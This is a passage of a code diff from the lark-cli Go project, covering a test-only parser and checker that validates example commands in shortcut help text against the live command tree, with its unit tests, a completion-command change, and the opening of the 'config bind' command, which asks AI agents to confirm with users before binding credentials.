// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd_test
import (
"regexp"
"strings"
)
// ref is one lark-cli command reference extracted from a shortcut example.
type ref struct {
line int // 1-based line number (the line where the command starts)
raw string // reconstructed command text, for error display
words []string // command words before the first flag (subcommand candidates)
flags []string // flag tokens used, e.g. "--query", "-q"
}
const cliToken = "lark-cli"
// subcommandStart guards against false positives from prose: a real command's
// first word is ASCII (a service name or a +shortcut). A token starting with
// CJK / punctuation is treated as narration, not a command.
var subcommandStart = regexp.MustCompile(`^[A-Za-z+]`)
// shellStops are standalone tokens that terminate a command (pipes, redirects,
// separators). Separators glued to a token (`get;`, `foo|`) are handled inline.
var shellStops = map[string]bool{
"|": true, "||": true, "&&": true, "&": true, ";": true,
">": true, ">>": true, "<": true, "2>": true, "2>&1": true,
}
// wordTrailPunct is sentence / CJK punctuation that can cling to a command word
// in prose ("auth login." / "auth login"); stripped so the word still resolves
// instead of being dropped as an unknown command or non-ASCII narration.
const wordTrailPunct = `.,;:!?"')]},。、;:!?)】」』`
// parseRefs extracts every lark-cli command reference from text (a shortcut's
// Tips line, which may embed an "Example: lark-cli ..." command). It is
// deliberately format-agnostic: it keys on the "lark-cli" token whether it sits
// in a ```bash fence, an inline `code` span, or bare prose. Backslash
// line-continuations are joined first so a multi-line invocation is parsed as
// one command; inline-code backticks and trailing # comments terminate it.
func parseRefs(content string) []ref {
var refs []ref
lines := strings.Split(content, "\n")
for i := 0; i < len(lines); i++ {
lineNo := i + 1
logical := lines[i]
// Shell line continuation: a trailing backslash joins the next physical
// line. Without this, flags on the continuation lines of a multi-line
// `lark-cli ... \` example are never seen by the checker.
for endsWithBackslash(logical) && i+1 < len(lines) {
logical = strings.TrimRight(logical, " \t")
logical = logical[:len(logical)-1] // drop the trailing backslash
i++
logical += " " + lines[i]
}
refs = append(refs, parseLine(logical, lineNo)...)
}
return refs
}
func endsWithBackslash(s string) bool {
return strings.HasSuffix(strings.TrimRight(s, " \t"), `\`)
}
func parseLine(line string, lineNo int) []ref {
var refs []ref
rest := line
for {
idx := strings.Index(rest, cliToken)
if idx < 0 {
break
}
after := rest[idx+len(cliToken):]
beforeOK := idx == 0 || isBoundary(rest[idx-1])
afterOK := after == "" || isBoundary(after[0])
if beforeOK && afterOK {
if words, flags, raw, ok := parseCmd(after); ok {
refs = append(refs, ref{line: lineNo, raw: cliToken + raw, words: words, flags: flags})
}
}
rest = after
}
return refs
}
// parseCmd tokenizes the text following "lark-cli" into leading command words
// (the subcommand path, up to the first flag) and flag tokens. It stops at a
// shell separator (standalone or glued), an inline-code backtick, a comment, or
// a placeholder/prose word. ok=false filters out non-commands.
func parseCmd(after string) (words, flags []string, raw string, ok bool) {
// An inline code span ends at the next backtick; a command never spans one.
if i := strings.IndexByte(after, '`'); i >= 0 {
after = after[:i]
}
// Drop $(...) command substitutions so flags belonging to the inner command
// (e.g. `--data "$(jq -n --arg x ...)"`) are not mistaken for lark-cli flags.
after = stripCmdSubst(after)
var kept []string
inFlags := false
for _, orig := range strings.Fields(after) {
tok := orig
if shellStops[tok] || strings.HasPrefix(tok, "#") {
break
}
// A shell separator glued to a token ends the command mid-token
// ("get;", "foo|next"): keep the part before it, handle it, then stop.
stop := false
if i := strings.IndexAny(tok, ";|"); i >= 0 {
tok, stop = tok[:i], true
}
switch {
case tok == "" || tok == "-":
// empty (after a glued separator) or a bare stdin marker — skip
case strings.HasPrefix(tok, "-"):
if f := normalizeFlag(tok); f != "" {
inFlags = true
flags = append(flags, f)
kept = append(kept, tok)
}
case inFlags:
// positional / flag value after the first flag — not a command word
kept = append(kept, tok)
default:
// Command-path word. ASCII placeholder markers (<x>, [x], {x|y},
// +<verb>, ...) end the command — checked on the RAW token so the
// trailing-punct stripping below cannot erase a "..." ellipsis
// ("base +..." must stay a placeholder, not become "+").
if strings.ContainsAny(tok, "<>[]{}|") || strings.Contains(tok, "...") {
stop = true
break
}
// Strip trailing sentence/CJK punctuation so "login." / "login"
// resolve to "login"; non-ASCII narration ends the command.
w := strings.TrimRight(tok, wordTrailPunct)
if w == "" || hasNonASCII(w) {
stop = true
break
}
words = append(words, w)
kept = append(kept, tok)
}
if stop {
break
}
}
if len(kept) > 0 {
raw = " " + strings.Join(kept, " ")
}
// Keep root-only refs ("lark-cli --help") and refs whose first word looks
// like a subcommand; drop prose ("lark-cli 就能搞定 ...").
if len(words) == 0 {
return words, flags, raw, len(flags) > 0
}
if !subcommandStart.MatchString(words[0]) {
return nil, nil, "", false
}
return words, flags, raw, true
}
// stripCmdSubst removes $(...) command substitutions (including nested ones)
// from s, leaving the surrounding text intact. Backtick substitutions are
// already handled upstream (a command never spans a backtick).
func stripCmdSubst(s string) string {
var b strings.Builder
depth := 0
for i := 0; i < len(s); i++ {
if depth == 0 && i+1 < len(s) && s[i] == '$' && s[i+1] == '(' {
depth = 1
i++ // skip '('
continue
}
if depth > 0 {
switch s[i] {
case '(':
depth++
case ')':
depth--
}
continue
}
b.WriteByte(s[i])
}
return b.String()
}
// isPlaceholderOrProse reports whether a command word is a doc placeholder
// (<resource>, [flags], {a|b}, +<verb>, ...) or narration (CJK / other
// non-ASCII), rather than a literal command token.
func isPlaceholderOrProse(w string) bool {
if hasNonASCII(w) {
return true
}
return strings.ContainsAny(w, "<>[]{}|") || strings.Contains(w, "...")
}
func hasNonASCII(s string) bool {
return strings.IndexFunc(s, func(r rune) bool { return r > 127 }) >= 0
}
// flagShape matches the leading flag token, stripping any trailing junk such as
// a "=value" suffix or punctuation that bled in from the surrounding markdown
// ("--help\"", "--help;", "--params={}"). The underscore is allowed because
// real flags use it ("--input_format", "--output_as"). Returns "" for non-flags.
var flagShape = regexp.MustCompile(`^--?[A-Za-z][A-Za-z0-9_-]*`)
// normalizeFlag extracts the canonical flag token from tok, or "" if tok is not
// a real flag (e.g. a shell-string fragment like "-草稿'").
func normalizeFlag(tok string) string {
return flagShape.FindString(tok)
}
func isBoundary(b byte) bool {
switch b {
case ' ', '\t', '`', '(', ')', '\'', '"', '*':
return true
}
return false
}

View File

@@ -1,113 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// This file and its cmdexample_*_test.go siblings implement a test-only check:
// the example commands embedded in shortcut definitions (the "Example: lark-cli
// ..." lines in each shortcut's Tips, shown in --help) must match the real
// command tree. It lives entirely in _test.go files (package cmd_test) so it
// ships in no binary and is not importable by product code; the truth source is
// cmd.Build, the same tree the binary uses, so the check cannot drift.
//
// It runs in the standard unit-test CI job (go test ./cmd/...). A mismatch — an
// example using a renamed command or an unaccepted flag — fails that job.
package cmd_test
import (
"context"
"sort"
"strings"
"testing"
"github.com/larksuite/cli/cmd"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/shortcuts"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// TestShortcutExampleCommands checks the example commands embedded in every
// shortcut's Tips against the live command tree. A shortcut that defines no
// example is simply skipped.
//
// Because the examples and the command definitions live in the same Go code,
// this is a self-consistency check: any mismatch (an example using a renamed
// command or a flag the command doesn't accept) is a bug to fix at the source.
// It runs over all shortcuts — no baseline, no diff — since a wrong example is
// always a defect, never acceptable "pre-existing drift".
func TestShortcutExampleCommands(t *testing.T) {
// Reproducibility: use the embedded API metadata (not a developer's stale
// ~/.lark-cli remote cache, which can miss commands) and an empty config
// dir so local strict mode / plugins / policy cannot reshape the tree.
// t.Setenv auto-restores after the test, so other cmd tests are unaffected.
t.Setenv("LARKSUITE_CLI_REMOTE_META", "off")
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
cat := buildCmdExampleCatalog()
type located struct {
shortcut string
f finding
}
var findings []located
for _, sc := range shortcuts.AllShortcuts() {
var refs []ref
for _, tip := range sc.Tips {
refs = append(refs, parseRefs(tip)...)
}
label := strings.TrimSpace(sc.Service + " " + sc.Command)
for _, f := range checkRefs(cat, refs) {
findings = append(findings, located{shortcut: label, f: f})
}
}
if len(findings) == 0 {
return
}
sort.Slice(findings, func(i, j int) bool { return findings[i].shortcut < findings[j].shortcut })
for _, lf := range findings {
hint := ""
if lf.f.suggest != "" {
hint = " (did you mean " + lf.f.suggest + "?)"
}
if lf.f.kind == unknownFlag {
t.Errorf("shortcut %q example uses unknown flag %s on %q%s\n %s",
lf.shortcut, lf.f.flag, lf.f.path, hint, strings.TrimSpace(lf.f.raw))
} else {
t.Errorf("shortcut %q example uses unknown command %q%s\n %s",
lf.shortcut, lf.f.path, hint, strings.TrimSpace(lf.f.raw))
}
}
t.Fatalf("%d shortcut example command(s) don't match the real CLI — "+
"fix the Example in the shortcut definition.", len(findings))
}
// buildCmdExampleCatalog walks the live cobra command tree and records every
// command path (minus the "lark-cli" root prefix) with its accepted flags and
// whether it is a parent group. This is the same Build() the binary uses, so
// the catalog can never drift from the real commands.
func buildCmdExampleCatalog() *catalog {
root := cmd.Build(context.Background(), cmdutil.InvocationContext{})
cat := newCatalog()
var walk func(c *cobra.Command)
walk = func(c *cobra.Command) {
path := strings.TrimSpace(strings.TrimPrefix(c.CommandPath(), "lark-cli"))
var flags []string
add := func(fl *pflag.Flag) {
flags = append(flags, "--"+fl.Name)
if fl.Shorthand != "" {
flags = append(flags, "-"+fl.Shorthand)
}
}
c.Flags().VisitAll(add)
c.InheritedFlags().VisitAll(add)
c.PersistentFlags().VisitAll(add) // root's own persistent flags (e.g. --profile)
cat.addCommand(path, flags)
cat.setGroup(path, c.HasSubCommands())
for _, sub := range c.Commands() {
walk(sub)
}
}
walk(root)
return cat
}

View File

@@ -1,233 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd_test
import (
"strings"
"testing"
)
func testCatalog() *catalog {
c := newCatalog()
c.addCommand("", []string{"--profile"}) // root
c.setGroup("", true)
c.addCommand("contact", []string{"--profile"})
c.setGroup("contact", true)
c.addCommand("contact +search-user", []string{"--query", "--as", "--format", "-q"})
c.addCommand("api", []string{"--params", "--data", "--as"}) // leaf (no subcommands)
c.addCommand("mail", nil)
c.setGroup("mail", true)
c.addCommand("mail user_mailbox.messages", []string{"--profile"})
c.setGroup("mail user_mailbox.messages", true)
c.addCommand("mail user_mailbox.messages batch_modify", []string{"--params", "--data"})
return c
}
func TestCmdExampleCatalogHasCommandAndFlag(t *testing.T) {
c := testCatalog()
if !c.hasCommand("contact +search-user") {
t.Fatal("expected contact +search-user to exist")
}
if c.hasCommand("contact +nope") {
t.Fatal("did not expect contact +nope")
}
if !c.hasFlag("contact +search-user", "--query") {
t.Fatal("--query should be valid")
}
if c.hasFlag("contact +search-user", "--nope") {
t.Fatal("--nope should be invalid")
}
// universal flags pass on any command
for _, f := range []string{"--help", "-h", "--version"} {
if !c.hasFlag("contact +search-user", f) {
t.Fatalf("universal flag %s should pass", f)
}
}
}
func TestCmdExampleLongestPrefix(t *testing.T) {
c := testCatalog()
tests := []struct {
words []string
want string
wantN int
wantOK bool
}{
{[]string{"contact", "+search-user"}, "contact +search-user", 2, true},
{[]string{"api", "GET", "/open-apis/x"}, "api", 1, true}, // trailing positionals
{[]string{"nope"}, "", 0, false},
{nil, "", 0, true}, // empty -> root
}
for _, tt := range tests {
got, n, ok := c.longestPrefix(tt.words)
if got != tt.want || n != tt.wantN || ok != tt.wantOK {
t.Errorf("longestPrefix(%v) = (%q,%d,%v), want (%q,%d,%v)",
tt.words, got, n, ok, tt.want, tt.wantN, tt.wantOK)
}
}
}
func refWordsOf(refs []ref) [][]string {
var out [][]string
for _, r := range refs {
out = append(out, r.words)
}
return out
}
func TestCmdExampleParseRefsExtractsCommands(t *testing.T) {
content := strings.Join([]string{
"运行 `lark-cli contact +search-user --query 张三` 搜索", // inline code
"```bash",
"lark-cli api GET /open-apis/x --params '{}'", // bash block
"```",
"用 lark-cli mail user_mailbox.messages batch_modify 即可", // bare prose command
"npx foo | lark-cli api GET /y", // after a pipe
}, "\n")
refs := parseRefs(content)
if len(refs) != 4 {
t.Fatalf("expected 4 refs, got %d: %v", len(refs), refWordsOf(refs))
}
if got := refs[0]; strings.Join(got.words, " ") != "contact +search-user" ||
len(got.flags) != 1 || got.flags[0] != "--query" {
t.Errorf("ref0 = %+v", got)
}
if got := refs[1]; strings.Join(got.words, " ") != "api GET /open-apis/x" {
t.Errorf("ref1 words = %v", got.words)
}
}
func TestCmdExampleParseRefsFiltersPlaceholdersAndProse(t *testing.T) {
// A line whose first word is prose yields no command at all.
if refs := parseRefs("lark-cli 就能搞定这件事"); len(refs) != 0 {
t.Errorf("prose-first line should yield 0 refs, got %v", refWordsOf(refs))
}
// Syntax templates / trailing prose may leave a real leading word ("mail"),
// but no placeholder or CJK token may leak into the command words — that is
// what prevents false positives like an "<resource>" unknown-command report.
for _, line := range []string{
"lark-cli mail <resource> <method> [flags]",
"lark-cli apps +<verb> [flags]",
"lark-cli base +...",
"lark-cli mail 写信场景下的格式说明",
} {
for _, r := range parseRefs(line) {
for _, w := range r.words {
if isPlaceholderOrProse(w) {
t.Errorf("%q: placeholder/prose token %q leaked into words %v", line, w, r.words)
}
}
}
}
}
func TestCmdExampleParseRefsStripsTrailingJunk(t *testing.T) {
// frontmatter-style quoted value: the trailing quote must not bleed into the flag
refs := parseRefs(`cliHelp: "lark-cli contact --help"`)
if len(refs) != 1 {
t.Fatalf("expected 1 ref, got %d", len(refs))
}
if len(refs[0].flags) != 1 || refs[0].flags[0] != "--help" {
t.Errorf("expected flag --help, got %v", refs[0].flags)
}
// bare "-" (stdin marker) and "=value" suffix
refs = parseRefs("lark-cli api GET /x --params={} --data -")
if len(refs) != 1 {
t.Fatalf("expected 1 ref, got %d", len(refs))
}
flags := strings.Join(refs[0].flags, " ")
if flags != "--params --data" {
t.Errorf("expected '--params --data', got %q", flags)
}
}
func TestCmdExampleCheck(t *testing.T) {
c := testCatalog()
tests := []struct {
name string
r ref
wantKind string // "" = no finding
wantPath string
}{
{"valid shortcut", ref{words: []string{"contact", "+search-user"}, flags: []string{"--query"}}, "", ""},
{"valid leaf positional", ref{words: []string{"api", "GET", "/x"}}, "", ""},
{"unknown top command", ref{words: []string{"nope"}}, unknownCommand, "nope"},
{"group leftover = unknown subcommand",
ref{words: []string{"mail", "user_mailbox.messages", "batch_modify_message"}},
unknownCommand, "mail user_mailbox.messages batch_modify_message"},
{"unknown flag", ref{words: []string{"contact", "+search-user"}, flags: []string{"--nope"}}, unknownFlag, "contact +search-user"},
{"universal flag ok", ref{words: []string{"contact", "+search-user"}, flags: []string{"--help"}}, "", ""},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
fs := checkRefs(c, []ref{tt.r})
if tt.wantKind == "" {
if len(fs) != 0 {
t.Fatalf("expected no finding, got %+v", fs)
}
return
}
if len(fs) != 1 {
t.Fatalf("expected 1 finding, got %d: %+v", len(fs), fs)
}
if fs[0].kind != tt.wantKind || fs[0].path != tt.wantPath {
t.Errorf("got kind=%s path=%q, want kind=%s path=%q", fs[0].kind, fs[0].path, tt.wantKind, tt.wantPath)
}
})
}
}
func TestCmdExampleCheckSuggestsNearest(t *testing.T) {
c := testCatalog()
fs := checkRefs(c, []ref{{words: []string{"mail", "user_mailbox.messages", "batch_modify_message"}}})
if len(fs) != 1 || fs[0].suggest != "mail user_mailbox.messages batch_modify" {
t.Fatalf("expected suggestion 'mail user_mailbox.messages batch_modify', got %+v", fs)
}
}
// TestCmdExampleParseRefsRobustness covers the parser edge cases hardened after
// review: backslash continuation, underscore flags, $(...) substitution, glued
// separators, trailing punctuation, and the "..." placeholder.
func TestCmdExampleParseRefsRobustness(t *testing.T) {
cases := []struct {
name, content, wantWords, wantFlags string
wantRefs int
}{
{"backslash continuation joins flags",
"lark-cli contact +search-user \\\n --query foo \\\n --as user",
"contact +search-user", "--query --as", 1},
{"underscore flag not truncated",
"lark-cli whiteboard +update --input_format mermaid",
"whiteboard +update", "--input_format", 1},
{"command-substitution flags ignored",
`lark-cli slides x create --data "$(jq -n --arg c '{}')" --as user`,
"slides x create", "--data --as", 1},
{"glued separator truncates",
"lark-cli auth login; echo done",
"auth login", "", 1},
{"trailing CJK punctuation stripped",
"用 lark-cli auth login。",
"auth login", "", 1},
{"ellipsis placeholder stays placeholder",
"lark-cli base +...",
"base", "", 1},
}
for _, tt := range cases {
t.Run(tt.name, func(t *testing.T) {
refs := parseRefs(tt.content)
if len(refs) != tt.wantRefs {
t.Fatalf("refs=%d want %d: %v", len(refs), tt.wantRefs, refWordsOf(refs))
}
if tt.wantRefs == 0 {
return
}
if got := strings.Join(refs[0].words, " "); got != tt.wantWords {
t.Errorf("words=%q want %q", got, tt.wantWords)
}
if got := strings.Join(refs[0].flags, " "); got != tt.wantFlags {
t.Errorf("flags=%q want %q", got, tt.wantFlags)
}
})
}
}

View File

@@ -1,52 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd
import (
"reflect"
"testing"
"github.com/spf13/cobra"
)
// TestCommandCatalogPath pins that the auth-hint path reconstruction inverts the
// service command tree for any depth — flat dotted resources AND genuinely
// nested resources — so it round-trips through apicatalog.Resolve instead of
// assuming a fixed root->service->resource->method shape.
func TestCommandCatalogPath(t *testing.T) {
chain := func(names ...string) *cobra.Command {
var parent, leaf *cobra.Command
for _, n := range names {
c := &cobra.Command{Use: n}
if parent != nil {
parent.AddCommand(c)
}
parent = c
leaf = c
}
return leaf
}
tests := []struct {
name string
leaf *cobra.Command
want []string
}{
{"flat dotted resource", chain("lark-cli", "im", "chat.members", "create"), []string{"im", "chat.members", "create"}},
{"nested resources", chain("lark-cli", "im", "spaces", "items", "get"), []string{"im", "spaces", "items", "get"}},
{"service level", chain("lark-cli", "im"), []string{"im"}},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := commandCatalogPath(tt.leaf); !reflect.DeepEqual(got, tt.want) {
t.Errorf("commandCatalogPath = %v, want %v", got, tt.want)
}
})
}
// The root command (no parent) has no catalog path.
if got := commandCatalogPath(&cobra.Command{Use: "lark-cli"}); len(got) != 0 {
t.Errorf("root path = %v, want empty", got)
}
}

View File

@@ -4,7 +4,8 @@
package completion
import (
"github.com/larksuite/cli/errs"
"fmt"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/spf13/cobra"
)
@@ -31,13 +32,10 @@ func NewCmdCompletion(f *cmdutil.Factory) *cobra.Command {
case "powershell":
return root.GenPowerShellCompletionWithDesc(out)
default:
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"unsupported shell: %s", args[0]).
WithHint("supported shells: bash, zsh, fish, powershell")
return fmt.Errorf("unsupported shell: %s", args[0])
}
},
}
cmdutil.DisableAuthCheck(cmd)
cmdutil.SetRisk(cmd, "read")
return cmd
}

View File

@@ -1,676 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package config
import (
"encoding/json"
"fmt"
"os"
"strings"
"github.com/charmbracelet/huh"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/i18n"
"github.com/larksuite/cli/internal/keychain"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/validate"
"github.com/larksuite/cli/internal/vfs"
)
// BindOptions holds all inputs for config bind.
type BindOptions struct {
Factory *cmdutil.Factory
Source string
AppID string
// Identity selects one of two presets — "bot-only" or "user-default" —
// that expand to underlying StrictMode + DefaultAs in applyPreferences.
// Empty means "decide later": TUI prompts, flag mode defaults to bot-only
// (the safer choice — bot acts under its own identity, no impersonation
// risk; users can still opt into "user-default" via --identity).
Identity string
// Force opts in to an otherwise-blocked flag-mode transition — currently
// only the bot-only → user-default identity escalation. TUI mode ignores
// this flag because its own prompts already require human confirmation.
Force bool
Lang string // raw --lang (string for cobra); normalized to canonical/"" in validateBindFlags
langExplicit bool // true when --lang was explicitly passed
UILang i18n.Lang // TUI display language (picker-only); intentionally separate from --lang
// Brand holds the resolved Lark product brand ("feishu" | "lark") for
// the account being bound. Populated after resolveAccount; TUI stages
// that run before that (source / account selection) render brand-aware
// text with an empty value, which brandDisplay falls back to Feishu.
Brand string
// IsTUI is the resolved interactive-mode flag: true only when Source is
// empty and stdin is a terminal. Computed once at the top of
// configBindRun; downstream branches read this instead of rechecking
// IOStreams.IsTerminal. Do not set from outside — it is overwritten.
IsTUI bool
}
// NewCmdConfigBind creates the config bind subcommand.
func NewCmdConfigBind(f *cmdutil.Factory, runF func(*BindOptions) error) *cobra.Command {
opts := &BindOptions{Factory: f, UILang: i18n.LangZhCN}
cmd := &cobra.Command{
Use: "bind",
Short: "Bind Agent config to a workspace (source / app-id / force)",
Long: `Bind an AI Agent's (OpenClaw / Hermes / Lark Channel) Feishu credentials to a lark-cli workspace.
--source is auto-detected from env (OPENCLAW_HOME / HERMES_HOME / LARK_CHANNEL); pass it only to override.
For AI agents — DO NOT bind without user confirmation. Binding may
overwrite an existing one and locks in an identity policy. Ask the user:
--identity bot-only bot only (safer default; no impersonation;
cannot access user resources like personal
calendar / mail / drive)
--identity user-default user identity allowed (impersonates the user;
needed for personal-resource access)
Default to bot-only if the user is unsure. Only run the command after
the user confirms both intent and identity preset.
If lark-cli is already bound and the user only wants to change identity
policy on the SAME app, use 'config strict-mode' — that's the policy
switch and does not require re-bind. Use 'config bind' only when the
underlying app itself changes.
Interactive terminal use: run with no flags to enter the TUI form.`,
Example: ` # AI flow: confirm intent + identity with user FIRST, then run:
lark-cli config bind --source openclaw --app-id <id> --identity bot-only
lark-cli config bind --source hermes --identity user-default
lark-cli config bind --source lark-channel
# Interactive (terminal user) — TUI prompts for everything:
lark-cli config bind`,
RunE: func(cmd *cobra.Command, args []string) error {
opts.langExplicit = cmd.Flags().Changed("lang")
if runF != nil {
return runF(opts)
}
return configBindRun(opts)
},
}
cmd.Flags().StringVar(&opts.Source, "source", "", "Agent source to bind from (openclaw|hermes|lark-channel); auto-detected from env signals when omitted")
cmd.Flags().StringVar(&opts.AppID, "app-id", "", "App ID to bind (required for OpenClaw multi-account)")
cmd.Flags().StringVar(&opts.Identity, "identity", "", "identity preset (bot-only|user-default); defaults to bot-only in flag mode (safer: no impersonation)")
cmd.Flags().BoolVar(&opts.Force, "force", false, "confirm a risky transition (currently: bot-only → user-default identity change in flag mode)")
cmd.Flags().StringVar(&opts.Lang, "lang", "", "language preference (e.g. zh or zh_cn)")
cmdutil.SetRisk(cmd, "write")
return cmd
}
// configBindRun is the top-level orchestrator. Each step delegates to a named
// helper whose signature declares its contract; the body reads as the shape of
// the bind flow itself, not its mechanics.
func configBindRun(opts *BindOptions) error {
if err := validateBindFlags(opts); err != nil {
return err
}
// Decide TUI-vs-flag mode exactly once; every downstream branch reads
// opts.IsTUI instead of re-checking IOStreams.IsTerminal.
opts.IsTUI = opts.Source == "" && opts.Factory.IOStreams.IsTerminal
source, err := finalizeSource(opts)
if err != nil {
return err
}
core.SetCurrentWorkspace(core.Workspace(source))
targetConfigPath := core.GetConfigPath()
existing, err := reconcileExistingBinding(opts, source, targetConfigPath)
if err != nil {
return err
}
if existing.Cancelled {
return nil
}
appConfig, err := resolveAccount(opts, source)
if err != nil {
return err
}
opts.Brand = string(appConfig.Brand)
if err := resolveIdentity(opts); err != nil {
return err
}
if err := warnIdentityEscalation(opts, existing.ConfigBytes); err != nil {
return err
}
applyPreferences(appConfig, opts, priorLang(existing.ConfigBytes))
noticeUserDefaultRisk(opts)
return commitBinding(opts, appConfig, existing.ConfigBytes, source, targetConfigPath)
}
// existingBinding is the outcome of checking whether a workspace was already
// bound. ConfigBytes is non-nil iff a previous binding existed (and the caller
// should pass it to commitBinding for stale-keychain cleanup after the new
// config is durably written). Cancelled is true iff the user declined to
// replace it in the TUI prompt; the caller should exit cleanly.
type existingBinding struct {
ConfigBytes []byte
Cancelled bool
}
// finalizeSource returns the validated bind source, reconciling three inputs:
// - opts.Source: the value of --source (may be empty)
// - env signals: OPENCLAW_* / HERMES_* detected via DetectWorkspaceFromEnv
// - TUI mode: can prompt the user if neither flag nor env yields a source
//
// Resolution (in order):
// 1. If --source is a non-empty invalid value → fail with ErrValidation.
// 2. If both --source and an env signal are present and disagree → fail
// loud; the user almost certainly ran the command in the wrong context.
// 3. TUI mode only: prompt for language first (so later prompts respect it).
// 4. --source wins if set. Otherwise use the env-detected source. Otherwise
// fall back to a TUI prompt (TUI mode) or an error (flag mode).
func finalizeSource(opts *BindOptions) (string, error) {
explicit := strings.TrimSpace(strings.ToLower(opts.Source))
if explicit != "" && explicit != "openclaw" && explicit != "hermes" && explicit != "lark-channel" {
return "", errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid --source %q; valid values: openclaw, hermes, lark-channel", explicit).WithParam("--source")
}
var detected string
switch core.DetectWorkspaceFromEnv(os.Getenv) {
case core.WorkspaceOpenClaw:
detected = "openclaw"
case core.WorkspaceHermes:
detected = "hermes"
case core.WorkspaceLarkChannel:
detected = "lark-channel"
}
// Explicit and env detection must agree when both are present. Reject
// before any interactive prompts — running inside Hermes with
// --source openclaw (or vice versa) is almost always a mistake.
if explicit != "" && detected != "" && explicit != detected {
return "", errs.NewValidationError(errs.SubtypeInvalidArgument,
"--source %q does not match detected Agent environment (%s)", explicit, detected).
WithHint("remove --source to auto-detect, or run this command in the correct Agent context").
WithParam("--source")
}
// TUI: prompt for language before any downstream prompts. The source
// selection itself may still be skipped entirely if --source or the
// env already pinned it. Picker offers 2 options (中文 / English) and
// drives BOTH opts.Lang (preference) and opts.UILang (TUI rendering).
if opts.IsTUI && !opts.langExplicit {
lang, err := promptLangSelection()
if err != nil {
return "", langSelectionError(err)
}
opts.Lang = string(lang)
opts.UILang = lang
}
if explicit != "" {
return explicit, nil
}
if detected != "" {
return detected, nil
}
if opts.IsTUI {
return tuiSelectSource(opts)
}
return "", errs.NewValidationError(errs.SubtypeInvalidArgument,
"cannot determine Agent source: no --source flag and no Agent environment detected").
WithHint("pass --source openclaw|hermes|lark-channel, or run this command inside the corresponding Agent context").
WithParam("--source")
}
// reconcileExistingBinding reads any existing config at configPath and decides
// how to proceed. In TUI mode the user is prompted to keep or replace. In flag
// mode the existing binding is silently overwritten — commitBinding will emit a
// notice on success so the caller still sees that a rebind happened.
// See existingBinding for the returned fields.
func reconcileExistingBinding(opts *BindOptions, source, configPath string) (existingBinding, error) {
oldConfigData, _ := vfs.ReadFile(configPath)
if oldConfigData == nil {
return existingBinding{}, nil
}
if opts.IsTUI {
action, err := tuiConflictPrompt(opts, source, configPath)
if err != nil {
return existingBinding{}, err
}
if action == "cancel" {
msg := getBindMsg(opts.UILang)
fmt.Fprintln(opts.Factory.IOStreams.ErrOut, msg.ConflictCancelled)
return existingBinding{Cancelled: true}, nil
}
return existingBinding{ConfigBytes: oldConfigData}, nil
}
return existingBinding{ConfigBytes: oldConfigData}, nil
}
// resolveAccount runs the source-agnostic bind flow: construct the binder,
// enumerate candidates, pick one via the shared decision layer, and build a
// ready-to-persist AppConfig. Adding a new bind source only requires
// implementing SourceBinder — none of the logic below needs to change.
func resolveAccount(opts *BindOptions, source string) (*core.AppConfig, error) {
binder, err := newBinder(source, opts)
if err != nil {
return nil, err
}
candidates, err := binder.ListCandidates()
if err != nil {
return nil, err
}
picked, err := selectCandidate(binder, candidates, opts.AppID, opts.IsTUI,
func(cs []Candidate) (*Candidate, error) { return tuiSelectApp(opts, source, cs) })
if err != nil {
return nil, err
}
return binder.Build(picked.AppID)
}
// resolveIdentity ensures opts.Identity is set before applyPreferences runs.
// TUI mode prompts when empty; flag mode defaults to "bot-only" — the safer
// preset (bot acts under its own identity, no impersonation). Users who
// want the broader capability set can pass --identity user-default.
func resolveIdentity(opts *BindOptions) error {
if opts.Identity != "" {
return nil
}
if opts.IsTUI {
id, err := tuiSelectIdentity(opts)
if err != nil {
return err
}
opts.Identity = id
return nil
}
opts.Identity = "bot-only"
return nil
}
// hasStrictBotLock reports whether the given config bytes declare a
// bot-only lock on at least one app. Unparseable input returns false — it
// signals "no enforceable lock to honor", consistent with how the rest of
// the bind flow treats a corrupt previous config (commitBinding will
// overwrite it cleanly).
func hasStrictBotLock(data []byte) bool {
var multi core.MultiAppConfig
if err := json.Unmarshal(data, &multi); err != nil {
return false
}
for _, app := range multi.Apps {
if app.StrictMode != nil && *app.StrictMode == core.StrictModeBot {
return true
}
}
return false
}
// warnIdentityEscalation surfaces the risk of a flag-mode bot-only →
// user-default identity change. Without --force, the CLI refuses so an AI
// Agent has to relay the warning to the user and get explicit opt-in before
// retrying. TUI mode is exempt: tuiConflictPrompt + tuiSelectIdentity
// already require human confirmation in-flow.
func warnIdentityEscalation(opts *BindOptions, previousConfigBytes []byte) error {
if opts.IsTUI || opts.Force || previousConfigBytes == nil {
return nil
}
if opts.Identity != "user-default" {
return nil
}
if !hasStrictBotLock(previousConfigBytes) {
return nil
}
msg := getBindMsg(opts.UILang)
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite,
"config bind --force", "%s", msg.IdentityEscalationMessage).
WithHint("%s", msg.IdentityEscalationHint)
}
// noticeUserDefaultRisk surfaces the user-identity impersonation risk on every
// flag-mode bind that lands on user-default. The bot-only → user-default
// escalation is already covered by warnIdentityEscalation (errors out before
// applyPreferences runs), and the TUI flow shows IdentityUserDefaultDesc
// during identity selection — so this fires specifically for the case those
// two miss: a fresh flag-mode bind that goes directly to user-default with
// no previous bot lock to escalate from. Without this, AI agents finish such
// a bind with only a "配置成功" message and never relay to the user that the
// AI can now act under their identity.
func noticeUserDefaultRisk(opts *BindOptions) {
if opts.IsTUI || opts.Identity != "user-default" {
return
}
